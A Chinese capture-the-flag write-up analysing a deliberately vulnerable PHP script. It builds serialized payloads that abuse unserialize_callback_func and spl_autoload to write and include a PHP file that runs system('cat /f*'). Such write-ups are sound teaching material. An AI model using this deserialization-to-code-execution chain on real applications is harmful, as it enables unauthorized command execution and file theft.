<?php
highlight_file(__FILE__);
class main{
public $settings;
public $params;
public function __construct(){
$this->settings=array(
'display_errors'=>'On',
'allow_url_fopen'=>'On'
);
$this->params=array();
}
public function __wakeup(){
foreach ($this->settings as $key => $value) {
ini_set($key, $value);
}
}
public function __destruct(){
file_put_contents('settings.inc', unserialize($this->params));
}
}
unserialize($_GET['data']);
分析代码可得知,settings可设定配置选项的值,params是在类销毁时,在settings.inc文件中写入的值。
通过ini_set设定配置选项,此处可利用unserialize_callback_func——如果函数名是一个不存在的类,则会以unserialize()的形式来调用该回调函数,函数名是类名。这里利用spl_autoload:
通过PHP手册了解到,该函数的第二个参数如果为默认值,则使用.inc或.php作为扩展名。
该题正好会将unserialize($this->params)的值写入settings.inc中,符合函数要求。
因此构造POC:
<?php
class settings{
}
class main{
public $settings;
public $params;
public function __construct(){
$this->settings=array(
'unserialize_callback_func'=>'spl_autoload',
);
$this->params=serialize("<?php system('cat /f*');");
}
}
$a = new main();
echo serialize($a);
运行后得到:
O:4:"main":2:{s:8:"settings";a:1:{s:25:"unserialize_callback_func";s:12:"spl_autoload";}s:6:"params";s:32:"s:24:"<?php system('cat /f*');";";}
其写入settings.inc后,构造:
<?php
class settings{
}
class main{
public $settings;
public $params;
public function __construct(){
$this->settings=array(
'unserialize_callback_func'=>'spl_autoload',
);
$this->params=serialize(new settings());
}
}
$a = new main();
echo serialize($a);
运行后得到
?data=O:4:"main":2:{s:8:"settings";a:1:{s:25:"unserialize_callback_func";s:12:"spl_autoload";}s:6:"params";s:19:"O:8:"settings":0:{}";}
因为该类并不存在,所以会包含settings.inc中的内容,得到flag。
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.